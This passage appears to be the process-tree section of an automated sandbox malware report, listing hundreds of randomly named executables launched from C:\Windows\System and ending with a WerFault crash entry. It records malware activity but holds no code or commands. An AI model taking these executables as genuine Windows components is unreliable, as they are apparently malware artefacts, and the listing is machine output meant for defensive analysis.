- C:\Windows\System\BkQjLxR.exe
  C:\Windows\System\BkQjLxR.exe
  2⤵
  PID:8256
- C:\Windows\System\EReznvU.exe
  C:\Windows\System\EReznvU.exe
  2⤵
  PID:8276
- C:\Windows\System\xzIulBS.exe
  C:\Windows\System\xzIulBS.exe
  2⤵
  PID:8292
- C:\Windows\System\uIHrKkB.exe
  C:\Windows\System\uIHrKkB.exe
  2⤵
  PID:8312
- C:\Windows\System\NtVumKF.exe
  C:\Windows\System\NtVumKF.exe
  2⤵
  PID:8328
- C:\Windows\System\tzFAPeS.exe
  C:\Windows\System\tzFAPeS.exe
  2⤵
  PID:8364
- C:\Windows\System\McKjQjM.exe
  C:\Windows\System\McKjQjM.exe
  2⤵
  PID:8380
- C:\Windows\System\NyLzOMF.exe
  C:\Windows\System\NyLzOMF.exe
  2⤵
  PID:8396
- C:\Windows\System\doksjfF.exe
  C:\Windows\System\doksjfF.exe
  2⤵
  PID:8412
- C:\Windows\System\XbPeovP.exe
  C:\Windows\System\XbPeovP.exe
  2⤵
  PID:8428
- C:\Windows\System\YzmjRYW.exe
  C:\Windows\System\YzmjRYW.exe
  2⤵
  PID:8468
- C:\Windows\System\iLnftot.exe
  C:\Windows\System\iLnftot.exe
  2⤵
  PID:8500
- C:\Windows\System\SxXAZDj.exe
  C:\Windows\System\SxXAZDj.exe
  2⤵
  PID:8516
- C:\Windows\System\IZjZnOu.exe
  C:\Windows\System\IZjZnOu.exe
  2⤵
  PID:8540
- C:\Windows\System\dHDKUXO.exe
  C:\Windows\System\dHDKUXO.exe
  2⤵
  PID:8560
- C:\Windows\System\ZlglkzH.exe
  C:\Windows\System\ZlglkzH.exe
  2⤵
  PID:8584
- C:\Windows\System\boBrAHB.exe
  C:\Windows\System\boBrAHB.exe
  2⤵
  PID:8636
- C:\Windows\System\fpskRlu.exe
  C:\Windows\System\fpskRlu.exe
  2⤵
  PID:8660
- C:\Windows\System\lheMhwv.exe
  C:\Windows\System\lheMhwv.exe
  2⤵
  PID:8680
- C:\Windows\System\XaWuJzH.exe
  C:\Windows\System\XaWuJzH.exe
  2⤵
  PID:8704
- C:\Windows\System\ZUJBaRT.exe
  C:\Windows\System\ZUJBaRT.exe
  2⤵
  PID:8724
- C:\Windows\System\LhtbOJa.exe
  C:\Windows\System\LhtbOJa.exe
  2⤵
  PID:8748
- C:\Windows\System\lktYnWF.exe
  C:\Windows\System\lktYnWF.exe
  2⤵
  PID:8768
- C:\Windows\System\XilBNgn.exe
  C:\Windows\System\XilBNgn.exe
  2⤵
  PID:8784
- C:\Windows\System\fcqYDma.exe
  C:\Windows\System\fcqYDma.exe
  2⤵
  PID:8804
- C:\Windows\System\VNxOqoT.exe
  C:\Windows\System\VNxOqoT.exe
  2⤵
  PID:8824
- C:\Windows\System\RwsWGkj.exe
  C:\Windows\System\RwsWGkj.exe
  2⤵
  PID:8840
- C:\Windows\System\cbrPsoG.exe
  C:\Windows\System\cbrPsoG.exe
  2⤵
  PID:8864
- C:\Windows\System\FxfnyfF.exe
  C:\Windows\System\FxfnyfF.exe
  2⤵
  PID:8880
- C:\Windows\System\NjTszzN.exe
  C:\Windows\System\NjTszzN.exe
  2⤵
  PID:8904
- C:\Windows\System\rwuHAQU.exe
  C:\Windows\System\rwuHAQU.exe
  2⤵
  PID:8920
- C:\Windows\System\ZXYgfCm.exe
  C:\Windows\System\ZXYgfCm.exe
  2⤵
  PID:8944
- C:\Windows\System\mKBlaFc.exe
  C:\Windows\System\mKBlaFc.exe
  2⤵
  PID:8960
- C:\Windows\System\PzIBwBn.exe
  C:\Windows\System\PzIBwBn.exe
  2⤵
  PID:8980
- C:\Windows\System\haUHsjf.exe
  C:\Windows\System\haUHsjf.exe
  2⤵
  PID:8996
- C:\Windows\System\HbxRKNV.exe
  C:\Windows\System\HbxRKNV.exe
  2⤵
  PID:9016
- C:\Windows\System\MfCSxdr.exe
  C:\Windows\System\MfCSxdr.exe
  2⤵
  PID:9164
- C:\Windows\System\BFfIeIu.exe
  C:\Windows\System\BFfIeIu.exe
  2⤵
  PID:9180
- C:\Windows\System\QJokvFA.exe
  C:\Windows\System\QJokvFA.exe
  2⤵
  PID:9196
- C:\Windows\System\emRAENe.exe
  C:\Windows\System\emRAENe.exe
  2⤵
  PID:9212
- C:\Windows\System\izCrDLe.exe
  C:\Windows\System\izCrDLe.exe
  2⤵
  PID:7240
- C:\Windows\System\EvfiRMz.exe
  C:\Windows\System\EvfiRMz.exe
  2⤵
  PID:5720
- C:\Windows\System\yzYLDHk.exe
  C:\Windows\System\yzYLDHk.exe
  2⤵
  PID:5752
- C:\Windows\System\wHUkJna.exe
  C:\Windows\System\wHUkJna.exe
  2⤵
  PID:5788
- C:\Windows\System\aPQGLlo.exe
  C:\Windows\System\aPQGLlo.exe
  2⤵
  PID:5820
- C:\Windows\System\PBkwMFv.exe
  C:\Windows\System\PBkwMFv.exe
  2⤵
  PID:5836
- C:\Windows\System\rJKZWcv.exe
  C:\Windows\System\rJKZWcv.exe
  2⤵
  PID:4880
- C:\Windows\System\zVoLCmv.exe
  C:\Windows\System\zVoLCmv.exe
  2⤵
  PID:7656
- C:\Windows\System\hDqvFIH.exe
  C:\Windows\System\hDqvFIH.exe
  2⤵
  PID:7652
- C:\Windows\System\rFBLCka.exe
  C:\Windows\System\rFBLCka.exe
  2⤵
  PID:7776
- C:\Windows\System\yONllTm.exe
  C:\Windows\System\yONllTm.exe
  2⤵
  PID:7876
- C:\Windows\System\uRgQEPF.exe
  C:\Windows\System\uRgQEPF.exe
  2⤵
  PID:7928
- C:\Windows\System\QEUgOXp.exe
  C:\Windows\System\QEUgOXp.exe
  2⤵
  PID:6104
- C:\Windows\System\OZJigcT.exe
  C:\Windows\System\OZJigcT.exe
  2⤵
  PID:2176
- C:\Windows\System\jZtwbjO.exe
  C:\Windows\System\jZtwbjO.exe
  2⤵
  PID:5444
- C:\Windows\System\qyULILU.exe
  C:\Windows\System\qyULILU.exe
  2⤵
  PID:5984
- C:\Windows\System\AFgajgV.exe
  C:\Windows\System\AFgajgV.exe
  2⤵
  PID:6024
- C:\Windows\System\eVLJnsr.exe
  C:\Windows\System\eVLJnsr.exe
  2⤵
  PID:6248
- C:\Windows\System\LHtrWGd.exe
  C:\Windows\System\LHtrWGd.exe
  2⤵
  PID:5568
- C:\Windows\System\PSqUpaR.exe
  C:\Windows\System\PSqUpaR.exe
  2⤵
  PID:6340
- C:\Windows\System\jlHIjDH.exe
  C:\Windows\System\jlHIjDH.exe
  2⤵
  PID:6720
- C:\Windows\System\bQHVMCn.exe
  C:\Windows\System\bQHVMCn.exe
  2⤵
  PID:6496
- C:\Windows\System\zGUJhfP.exe
  C:\Windows\System\zGUJhfP.exe
  2⤵
  PID:8300
- C:\Windows\System\hRFxTLh.exe
  C:\Windows\System\hRFxTLh.exe
  2⤵
  PID:5372
- C:\Windows\System\USqSCav.exe
  C:\Windows\System\USqSCav.exe
  2⤵
  PID:7924
- C:\Windows\System\XwmUqwP.exe
  C:\Windows\System\XwmUqwP.exe
  2⤵
  PID:7836
- C:\Windows\System\YLQgSuG.exe
  C:\Windows\System\YLQgSuG.exe
  2⤵
  PID:7636
- C:\Windows\System\mTgfJhv.exe
  C:\Windows\System\mTgfJhv.exe
  2⤵
  PID:7668
- C:\Windows\System\OeOBRll.exe
  C:\Windows\System\OeOBRll.exe
  2⤵
  PID:7600
- C:\Windows\System\Zmjtpze.exe
  C:\Windows\System\Zmjtpze.exe
  2⤵
  PID:7556
- C:\Windows\System\HHkJZGf.exe
  C:\Windows\System\HHkJZGf.exe
  2⤵
  PID:7496
- C:\Windows\System\YmyIyEz.exe
  C:\Windows\System\YmyIyEz.exe
  2⤵
  PID:7456
- C:\Windows\System\fNnYbSf.exe
  C:\Windows\System\fNnYbSf.exe
  2⤵
  PID:7404
- C:\Windows\System\llWbiGv.exe
  C:\Windows\System\llWbiGv.exe
  2⤵
  PID:7364
- C:\Windows\System\QnIMIJU.exe
  C:\Windows\System\QnIMIJU.exe
  2⤵
  PID:7224
- C:\Windows\System\FUrqULb.exe
  C:\Windows\System\FUrqULb.exe
  2⤵
  PID:6364
- C:\Windows\System\RRSANeu.exe
  C:\Windows\System\RRSANeu.exe
  2⤵
  PID:4988
- C:\Windows\System\LTibBYx.exe
  C:\Windows\System\LTibBYx.exe
  2⤵
  PID:7052
- C:\Windows\System\BfGumqU.exe
  C:\Windows\System\BfGumqU.exe
  2⤵
  PID:6940
- C:\Windows\System\COvxhmn.exe
  C:\Windows\System\COvxhmn.exe
  2⤵
  PID:7888
- C:\Windows\System\WzygMLD.exe
  C:\Windows\System\WzygMLD.exe
  2⤵
  PID:7700
- C:\Windows\System\VtHVLyQ.exe
  C:\Windows\System\VtHVLyQ.exe
  2⤵
  PID:6608
- C:\Windows\System\nEwMWyO.exe
  C:\Windows\System\nEwMWyO.exe
  2⤵
  PID:7316
- C:\Windows\System\GDurQFn.exe
  C:\Windows\System\GDurQFn.exe
  2⤵
  PID:2716
- C:\Windows\System\VZQYYEh.exe
  C:\Windows\System\VZQYYEh.exe
  2⤵
  PID:8032
- C:\Windows\System\lnoJfiI.exe
  C:\Windows\System\lnoJfiI.exe
  2⤵
  PID:8164
- C:\Windows\System\VyXPAGg.exe
  C:\Windows\System\VyXPAGg.exe
  2⤵
  PID:4952
- C:\Windows\System\LUZKaHy.exe
  C:\Windows\System\LUZKaHy.exe
  2⤵
  PID:5388
- C:\Windows\System\AULFGDy.exe
  C:\Windows\System\AULFGDy.exe
  2⤵
  PID:9224
- C:\Windows\System\RgiDunZ.exe
  C:\Windows\System\RgiDunZ.exe
  2⤵
  PID:9244
- C:\Windows\System\FICaxbM.exe
  C:\Windows\System\FICaxbM.exe
  2⤵
  PID:9260
- C:\Windows\System\MWugkvt.exe
  C:\Windows\System\MWugkvt.exe
  2⤵
  PID:9280
- C:\Windows\System\VJXalUt.exe
  C:\Windows\System\VJXalUt.exe
  2⤵
  PID:9300
- C:\Windows\System\hynKSAh.exe
  C:\Windows\System\hynKSAh.exe
  2⤵
  PID:9316
- C:\Windows\System\hElZQaT.exe
  C:\Windows\System\hElZQaT.exe
  2⤵
  PID:9340
- C:\Windows\System\YfYoyCa.exe
  C:\Windows\System\YfYoyCa.exe
  2⤵
  PID:9356
- C:\Windows\System\TYbqAuf.exe
  C:\Windows\System\TYbqAuf.exe
  2⤵
  PID:9372
- C:\Windows\System\fckwMdK.exe
  C:\Windows\System\fckwMdK.exe
  2⤵
  PID:9396
- C:\Windows\System\UymKmee.exe
  C:\Windows\System\UymKmee.exe
  2⤵
  PID:9412
- C:\Windows\System\oMJUzlH.exe
  C:\Windows\System\oMJUzlH.exe
  2⤵
  PID:9436
- C:\Windows\System\QTxpIFa.exe
  C:\Windows\System\QTxpIFa.exe
  2⤵
  PID:9452
- C:\Windows\System\nLNkYkw.exe
  C:\Windows\System\nLNkYkw.exe
  2⤵
  PID:9472
- C:\Windows\System\KPzODwZ.exe
  C:\Windows\System\KPzODwZ.exe
  2⤵
  PID:9488
- C:\Windows\System\mrPaoiH.exe
  C:\Windows\System\mrPaoiH.exe
  2⤵
  PID:9504
- C:\Windows\System\MQvYLHj.exe
  C:\Windows\System\MQvYLHj.exe
  2⤵
  PID:9532
- C:\Windows\System\RdoUegJ.exe
  C:\Windows\System\RdoUegJ.exe
  2⤵
  PID:9552
- C:\Windows\System\wivftLa.exe
  C:\Windows\System\wivftLa.exe
  2⤵
  PID:9568
- C:\Windows\System\CPZQQWH.exe
  C:\Windows\System\CPZQQWH.exe
  2⤵
  PID:9588
- C:\Windows\System\ucudSKb.exe
  C:\Windows\System\ucudSKb.exe
  2⤵
  PID:9604
- C:\Windows\System\WrJXbwh.exe
  C:\Windows\System\WrJXbwh.exe
  2⤵
  PID:9628
- C:\Windows\System\oLtTaKR.exe
  C:\Windows\System\oLtTaKR.exe
  2⤵
  PID:9652
- C:\Windows\System\OUunipb.exe
  C:\Windows\System\OUunipb.exe
  2⤵
  PID:9668
- C:\Windows\System\OxEbLwC.exe
  C:\Windows\System\OxEbLwC.exe
  2⤵
  PID:9692
- C:\Windows\System\KvHuugU.exe
  C:\Windows\System\KvHuugU.exe
  2⤵
  PID:9712
- C:\Windows\System\EFZdrsM.exe
  C:\Windows\System\EFZdrsM.exe
  2⤵
  PID:9732
- C:\Windows\System\fnrPdwq.exe
  C:\Windows\System\fnrPdwq.exe
  2⤵
  PID:9752
- C:\Windows\System\rtdnUry.exe
  C:\Windows\System\rtdnUry.exe
  2⤵
  PID:9772
- C:\Windows\System\ZCErDNu.exe
  C:\Windows\System\ZCErDNu.exe
  2⤵
  PID:9792
- C:\Windows\System\BStrwrP.exe
  C:\Windows\System\BStrwrP.exe
  2⤵
  PID:9812
- C:\Windows\System\KwiMDoi.exe
  C:\Windows\System\KwiMDoi.exe
  2⤵
  PID:9832
- C:\Windows\System\SibwHCo.exe
  C:\Windows\System\SibwHCo.exe
  2⤵
  PID:9852
- C:\Windows\System\ZjZOHTf.exe
  C:\Windows\System\ZjZOHTf.exe
  2⤵
  PID:9872
- C:\Windows\System\lCzlEkb.exe
  C:\Windows\System\lCzlEkb.exe
  2⤵
  PID:9892
- C:\Windows\System\epbdNqy.exe
  C:\Windows\System\epbdNqy.exe
  2⤵
  PID:9912
- C:\Windows\System\QziAUSY.exe
  C:\Windows\System\QziAUSY.exe
  2⤵
  PID:9932
- C:\Windows\System\XEldsNG.exe
  C:\Windows\System\XEldsNG.exe
  2⤵
  PID:9956
- C:\Windows\System\ZrHlGrC.exe
  C:\Windows\System\ZrHlGrC.exe
  2⤵
  PID:9976
- C:\Windows\System\SfRhJLr.exe
  C:\Windows\System\SfRhJLr.exe
  2⤵
  PID:9996
- C:\Windows\System\bOBWEOg.exe
  C:\Windows\System\bOBWEOg.exe
  2⤵
  PID:10016
- C:\Windows\System\bSCxbKS.exe
  C:\Windows\System\bSCxbKS.exe
  2⤵
  PID:10036
- C:\Windows\System\ycAMJeN.exe
  C:\Windows\System\ycAMJeN.exe
  2⤵
  PID:10052
- C:\Windows\System\gJYocsB.exe
  C:\Windows\System\gJYocsB.exe
  2⤵
  PID:10076
- C:\Windows\System\JVTxcGt.exe
  C:\Windows\System\JVTxcGt.exe
  2⤵
  PID:10096
- C:\Windows\System\AnNUlap.exe
  C:\Windows\System\AnNUlap.exe
  2⤵
  PID:10120
- C:\Windows\System\cBZrlaO.exe
  C:\Windows\System\cBZrlaO.exe
  2⤵
  PID:10136
- C:\Windows\System\PMGqfnc.exe
  C:\Windows\System\PMGqfnc.exe
  2⤵
  PID:10156
- C:\Windows\System\RwGaHgf.exe
  C:\Windows\System\RwGaHgf.exe
  2⤵
  PID:10176
- C:\Windows\System\wCkdfLb.exe
  C:\Windows\System\wCkdfLb.exe
  2⤵
  PID:10196
- C:\Windows\System\EgfQwQr.exe
  C:\Windows\System\EgfQwQr.exe
  2⤵
  PID:10212
- C:\Windows\System\XISmHKe.exe
  C:\Windows\System\XISmHKe.exe
  2⤵
  PID:10236
- C:\Windows\System\WAXhqFm.exe
  C:\Windows\System\WAXhqFm.exe
  2⤵
  PID:7020
- C:\Windows\System\iOREARf.exe
  C:\Windows\System\iOREARf.exe
  2⤵
  PID:1596
- C:\Windows\System\HynWveW.exe
  C:\Windows\System\HynWveW.exe
  2⤵
  PID:920
- C:\Windows\System\CEevcps.exe
  C:\Windows\System\CEevcps.exe
  2⤵
  PID:5524
- C:\Windows\System\drEnOmU.exe
  C:\Windows\System\drEnOmU.exe
  2⤵
  PID:8436
- C:\Windows\System\thJGVIG.exe
  C:\Windows\System\thJGVIG.exe
  2⤵
  PID:8508
- C:\Windows\System\MAStIYn.exe
  C:\Windows\System\MAStIYn.exe
  2⤵
  PID:10244
- C:\Windows\System\LXsTLUU.exe
  C:\Windows\System\LXsTLUU.exe
  2⤵
  PID:10260
- C:\Windows\System\mlqbykw.exe
  C:\Windows\System\mlqbykw.exe
  2⤵
  PID:10284
- C:\Windows\System\zegBJDg.exe
  C:\Windows\System\zegBJDg.exe
  2⤵
  PID:10300
- C:\Windows\System\OXnSCTQ.exe
  C:\Windows\System\OXnSCTQ.exe
  2⤵
  PID:10324
- C:\Windows\System\HDhsFmr.exe
  C:\Windows\System\HDhsFmr.exe
  2⤵
  PID:10348
- C:\Windows\System\RWJIuHw.exe
  C:\Windows\System\RWJIuHw.exe
  2⤵
  PID:10364
- C:\Windows\System\vmabqeb.exe
  C:\Windows\System\vmabqeb.exe
  2⤵
  PID:10388
- C:\Windows\System\ZuAQJlL.exe
  C:\Windows\System\ZuAQJlL.exe
  2⤵
  PID:10404
- C:\Windows\System\FUxUPUh.exe
  C:\Windows\System\FUxUPUh.exe
  2⤵
  PID:10424
- C:\Windows\System\LrhgLpS.exe
  C:\Windows\System\LrhgLpS.exe
  2⤵
  PID:10440
- C:\Windows\System\NTCGbhA.exe
  C:\Windows\System\NTCGbhA.exe
  2⤵
  PID:10460
- C:\Windows\System\kTDIPUv.exe
  C:\Windows\System\kTDIPUv.exe
  2⤵
  PID:10484
- C:\Windows\System\ObQLUqq.exe
  C:\Windows\System\ObQLUqq.exe
  2⤵
  PID:10504
- C:\Windows\System\AaqSMau.exe
  C:\Windows\System\AaqSMau.exe
  2⤵
  PID:10520
- C:\Windows\System\YXrckxC.exe
  C:\Windows\System\YXrckxC.exe
  2⤵
  PID:10536
- C:\Windows\System\KsgvOzQ.exe
  C:\Windows\System\KsgvOzQ.exe
  2⤵
  PID:10556
- C:\Windows\System\iDEHoaF.exe
  C:\Windows\System\iDEHoaF.exe
  2⤵
  PID:10572
- C:\Windows\System\eGzpXCk.exe
  C:\Windows\System\eGzpXCk.exe
  2⤵
  PID:10596
- C:\Windows\System\IroWKbM.exe
  C:\Windows\System\IroWKbM.exe
  2⤵
  PID:10620
- C:\Windows\System\qElofUz.exe
  C:\Windows\System\qElofUz.exe
  2⤵
  PID:10640
- C:\Windows\System\pOJVDGY.exe
  C:\Windows\System\pOJVDGY.exe
  2⤵
  PID:10664
- C:\Windows\System\aXlzkfK.exe
  C:\Windows\System\aXlzkfK.exe
  2⤵
  PID:10684
- C:\Windows\System\jOvljZo.exe
  C:\Windows\System\jOvljZo.exe
  2⤵
  PID:10708
- C:\Windows\System\OamOkDf.exe
  C:\Windows\System\OamOkDf.exe
  2⤵
  PID:10724
- C:\Windows\System\KylvSSR.exe
  C:\Windows\System\KylvSSR.exe
  2⤵
  PID:10744
- C:\Windows\System\XpycokL.exe
  C:\Windows\System\XpycokL.exe
  2⤵
  PID:10764
- C:\Windows\System\UTfdXnH.exe
  C:\Windows\System\UTfdXnH.exe
  2⤵
  PID:10780
- C:\Windows\System\evdmBoj.exe
  C:\Windows\System\evdmBoj.exe
  2⤵
  PID:10808
- C:\Windows\System\MZaMAnu.exe
  C:\Windows\System\MZaMAnu.exe
  2⤵
  PID:10824
- C:\Windows\System\qAyBwDI.exe
  C:\Windows\System\qAyBwDI.exe
  2⤵
  PID:10844
- C:\Windows\System\SsZlOYX.exe
  C:\Windows\System\SsZlOYX.exe
  2⤵
  PID:10864
- C:\Windows\System\ZeiwOjp.exe
  C:\Windows\System\ZeiwOjp.exe
  2⤵
  PID:10884
- C:\Windows\System\lNZZyhf.exe
  C:\Windows\System\lNZZyhf.exe
  2⤵
  PID:10900
- C:\Windows\System\TVIalDb.exe
  C:\Windows\System\TVIalDb.exe
  2⤵
  PID:10924
- C:\Windows\System\pnECZIU.exe
  C:\Windows\System\pnECZIU.exe
  2⤵
  PID:10940
- C:\Windows\System\pDiWdVt.exe
  C:\Windows\System\pDiWdVt.exe
  2⤵
  PID:10964
- C:\Windows\System\isNIWlP.exe
  C:\Windows\System\isNIWlP.exe
  2⤵
  PID:10980
- C:\Windows\System\CwHVwIe.exe
  C:\Windows\System\CwHVwIe.exe
  2⤵
  PID:11004
- C:\Windows\System\ixuOfHU.exe
  C:\Windows\System\ixuOfHU.exe
  2⤵
  PID:11028
- C:\Windows\System\Sehisaw.exe
  C:\Windows\System\Sehisaw.exe
  2⤵
  PID:11044
- C:\Windows\System\GfzCswg.exe
  C:\Windows\System\GfzCswg.exe
  2⤵
  PID:11068
- C:\Windows\System\ynbBYKB.exe
  C:\Windows\System\ynbBYKB.exe
  2⤵
  PID:11092
- C:\Windows\System\vNXCuoI.exe
  C:\Windows\System\vNXCuoI.exe
  2⤵
  PID:11112
- C:\Windows\System\ZvcZPUe.exe
  C:\Windows\System\ZvcZPUe.exe
  2⤵
  PID:11136
- C:\Windows\System\CWizaCk.exe
  C:\Windows\System\CWizaCk.exe
  2⤵
  PID:11156
- C:\Windows\System\iDcdbmY.exe
  C:\Windows\System\iDcdbmY.exe
  2⤵
  PID:11176
- C:\Windows\System\drkPFRW.exe
  C:\Windows\System\drkPFRW.exe
  2⤵
  PID:11196
- C:\Windows\System\oGJyZtq.exe
  C:\Windows\System\oGJyZtq.exe
  2⤵
  PID:11212
- C:\Windows\System\jqGVDQH.exe
  C:\Windows\System\jqGVDQH.exe
  2⤵
  PID:11232
- C:\Windows\System\CsRtWvH.exe
  C:\Windows\System\CsRtWvH.exe
  2⤵
  PID:11252
- C:\Windows\System\TdJlvFu.exe
  C:\Windows\System\TdJlvFu.exe
  2⤵
  PID:11268
- C:\Windows\System\fGghJKy.exe
  C:\Windows\System\fGghJKy.exe
  2⤵
  PID:11284
- C:\Windows\System\aLfbrZn.exe
  C:\Windows\System\aLfbrZn.exe
  2⤵
  PID:11304
- C:\Windows\System\LDKKSJi.exe
  C:\Windows\System\LDKKSJi.exe
  2⤵
  PID:11324
- C:\Windows\System\prdmbUw.exe
  C:\Windows\System\prdmbUw.exe
  2⤵
  PID:11340
- C:\Windows\System\LOHJmzC.exe
  C:\Windows\System\LOHJmzC.exe
  2⤵
  PID:11356
- C:\Windows\System\OOrZhHC.exe
  C:\Windows\System\OOrZhHC.exe
  2⤵
  PID:11376
- C:\Windows\System\wbnyBKb.exe
  C:\Windows\System\wbnyBKb.exe
  2⤵
  PID:11392
- C:\Windows\System\cnyzFeQ.exe
  C:\Windows\System\cnyzFeQ.exe
  2⤵
  PID:11412
- C:\Windows\System\mYTLoLN.exe
  C:\Windows\System\mYTLoLN.exe
  2⤵
  PID:11428
- C:\Windows\System\ejWsFmx.exe
  C:\Windows\System\ejWsFmx.exe
  2⤵
  PID:11448
- C:\Windows\System\HIycdlv.exe
  C:\Windows\System\HIycdlv.exe
  2⤵
  PID:11464
- C:\Windows\System\CoGfuEZ.exe
  C:\Windows\System\CoGfuEZ.exe
  2⤵
  PID:11488
- C:\Windows\System\NhFZUNP.exe
  C:\Windows\System\NhFZUNP.exe
  2⤵
  PID:11504
- C:\Windows\System\iapQhAK.exe
  C:\Windows\System\iapQhAK.exe
  2⤵
  PID:11528
- C:\Windows\System\VsLSXFP.exe
  C:\Windows\System\VsLSXFP.exe
  2⤵
  PID:11548
- C:\Windows\System\MShediQ.exe
  C:\Windows\System\MShediQ.exe
  2⤵
  PID:11568
- C:\Windows\System\lCShmps.exe
  C:\Windows\System\lCShmps.exe
  2⤵
  PID:11592
- C:\Windows\System\PPOIGsL.exe
  C:\Windows\System\PPOIGsL.exe
  2⤵
  PID:11612
- C:\Windows\System\CQDGcau.exe
  C:\Windows\System\CQDGcau.exe
  2⤵
  PID:11636
- C:\Windows\System\ePsUSre.exe
  C:\Windows\System\ePsUSre.exe
  2⤵
  PID:11652
- C:\Windows\System\gkjQEbN.exe
  C:\Windows\System\gkjQEbN.exe
  2⤵
  PID:11676
- C:\Windows\System\leWZjSt.exe
  C:\Windows\System\leWZjSt.exe
  2⤵
  PID:11692
- C:\Windows\System\SJFjRQY.exe
  C:\Windows\System\SJFjRQY.exe
  2⤵
  PID:11716
- C:\Windows\System\gkfgBtp.exe
  C:\Windows\System\gkfgBtp.exe
  2⤵
  PID:11736
- C:\Windows\System\pBAuyTL.exe
  C:\Windows\System\pBAuyTL.exe
  2⤵
  PID:11756
- C:\Windows\System\wNJMPos.exe
  C:\Windows\System\wNJMPos.exe
  2⤵
  PID:11784
- C:\Windows\System\UKWjmSD.exe
  C:\Windows\System\UKWjmSD.exe
  2⤵
  PID:11800
- C:\Windows\System\vqwjffS.exe
  C:\Windows\System\vqwjffS.exe
  2⤵
  PID:11820
- C:\Windows\System\EirejQh.exe
  C:\Windows\System\EirejQh.exe
  2⤵
  PID:11836
- C:\Windows\System\zmaKNkw.exe
  C:\Windows\System\zmaKNkw.exe
  2⤵
  PID:11860
- C:\Windows\System\BsralNU.exe
  C:\Windows\System\BsralNU.exe
  2⤵
  PID:11884
- C:\Windows\System\FfEabFn.exe
  C:\Windows\System\FfEabFn.exe
  2⤵
  PID:11900
- C:\Windows\System\HFWiftp.exe
  C:\Windows\System\HFWiftp.exe
  2⤵
  PID:11920
- C:\Windows\System\cNhXDme.exe
  C:\Windows\System\cNhXDme.exe
  2⤵
  PID:11940
- C:\Windows\System\UnPoACo.exe
  C:\Windows\System\UnPoACo.exe
  2⤵
  PID:11964
- C:\Windows\System\LelDQDb.exe
  C:\Windows\System\LelDQDb.exe
  2⤵
  PID:11988
- C:\Windows\System\riqKgpn.exe
  C:\Windows\System\riqKgpn.exe
  2⤵
  PID:12008
- C:\Windows\System\YYnXsnf.exe
  C:\Windows\System\YYnXsnf.exe
  2⤵
  PID:12024
- C:\Windows\System\ilRzaXE.exe
  C:\Windows\System\ilRzaXE.exe
  2⤵
  PID:12044
- C:\Windows\System\GAlZZtz.exe
  C:\Windows\System\GAlZZtz.exe
  2⤵
  PID:12064
- C:\Windows\System\TbRgEAL.exe
  C:\Windows\System\TbRgEAL.exe
  2⤵
  PID:12084
- C:\Windows\System\mDePTto.exe
  C:\Windows\System\mDePTto.exe
  2⤵
  PID:12104
- C:\Windows\System\ToRhOkl.exe
  C:\Windows\System\ToRhOkl.exe
  2⤵
  PID:12120
- C:\Windows\System\BJBlVGm.exe
  C:\Windows\System\BJBlVGm.exe
  2⤵
  PID:12144
- C:\Windows\System\uwTAjtp.exe
  C:\Windows\System\uwTAjtp.exe
  2⤵
  PID:12164
- C:\Windows\System\kxVpqUx.exe
  C:\Windows\System\kxVpqUx.exe
  2⤵
  PID:12184
- C:\Windows\System\FkKReVZ.exe
  C:\Windows\System\FkKReVZ.exe
  2⤵
  PID:12208
- C:\Windows\System\gSNjLzE.exe
  C:\Windows\System\gSNjLzE.exe
  2⤵
  PID:12236
- C:\Windows\System\TWveqHc.exe
  C:\Windows\System\TWveqHc.exe
  2⤵
  PID:9580
- C:\Windows\System\CpVtoYC.exe
  C:\Windows\System\CpVtoYC.exe
  2⤵
  PID:10204
- C:\Windows\System\Dbksukb.exe
  C:\Windows\System\Dbksukb.exe
  2⤵
  PID:10548
- C:\Windows\System\MRuTadd.exe
  C:\Windows\System\MRuTadd.exe
  2⤵
  PID:10648
- C:\Windows\System\bjlONzw.exe
  C:\Windows\System\bjlONzw.exe
  2⤵
  PID:10772
- C:\Windows\System\NsRWfyG.exe
  C:\Windows\System\NsRWfyG.exe
  2⤵
  PID:6724
- C:\Windows\System\LPDeboD.exe
  C:\Windows\System\LPDeboD.exe
  2⤵
  PID:9272
- C:\Windows\System\OUiphuN.exe
  C:\Windows\System\OUiphuN.exe
  2⤵
  PID:9348
- C:\Windows\System\jzkisWK.exe
  C:\Windows\System\jzkisWK.exe
  2⤵
  PID:8992
- C:\Windows\System\GKziboP.exe
  C:\Windows\System\GKziboP.exe
  2⤵
  PID:11332
- C:\Windows\System\oWkBTRG.exe
  C:\Windows\System\oWkBTRG.exe
  2⤵
  PID:12316
- C:\Windows\System\lAwgayr.exe
  C:\Windows\System\lAwgayr.exe
  2⤵
  PID:12336
- C:\Windows\System\mJyunfW.exe
  C:\Windows\System\mJyunfW.exe
  2⤵
  PID:12356
- C:\Windows\System\UyrGBAa.exe
  C:\Windows\System\UyrGBAa.exe
  2⤵
  PID:12372
- C:\Windows\System\wNrGgiF.exe
  C:\Windows\System\wNrGgiF.exe
  2⤵
  PID:12396
- C:\Windows\System\qRZlKfL.exe
  C:\Windows\System\qRZlKfL.exe
  2⤵
  PID:12412
- C:\Windows\System\PKyDVYz.exe
  C:\Windows\System\PKyDVYz.exe
  2⤵
  PID:12440
- C:\Windows\System\RDtefKJ.exe
  C:\Windows\System\RDtefKJ.exe
  2⤵
  PID:12460
- C:\Windows\System\QQjgOJH.exe
  C:\Windows\System\QQjgOJH.exe
  2⤵
  PID:12480
- C:\Windows\System\ciYwonS.exe
  C:\Windows\System\ciYwonS.exe
  2⤵
  PID:12504
- C:\Windows\System\GCTBytX.exe
  C:\Windows\System\GCTBytX.exe
  2⤵
  PID:12528
- C:\Windows\System\mIPhPUH.exe
  C:\Windows\System\mIPhPUH.exe
  2⤵
  PID:12560
- C:\Windows\System\rcdXNYg.exe
  C:\Windows\System\rcdXNYg.exe
  2⤵
  PID:12580
- C:\Windows\System\yMHbINH.exe
  C:\Windows\System\yMHbINH.exe
  2⤵
  PID:12600
- C:\Windows\System\jhyTNaA.exe
  C:\Windows\System\jhyTNaA.exe
  2⤵
  PID:12620
- C:\Windows\System\uIKmLPw.exe
  C:\Windows\System\uIKmLPw.exe
  2⤵
  PID:12640
- C:\Windows\System\pLNnGmt.exe
  C:\Windows\System\pLNnGmt.exe
  2⤵
  PID:12660
- C:\Windows\System\pShdfAV.exe
  C:\Windows\System\pShdfAV.exe
  2⤵
  PID:12684
- C:\Windows\System\ynpKipa.exe
  C:\Windows\System\ynpKipa.exe
  2⤵
  PID:12700
- C:\Windows\System\vMMKLFM.exe
  C:\Windows\System\vMMKLFM.exe
  2⤵
  PID:12728
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 12728 -s 28
    3⤵
    PID:7096
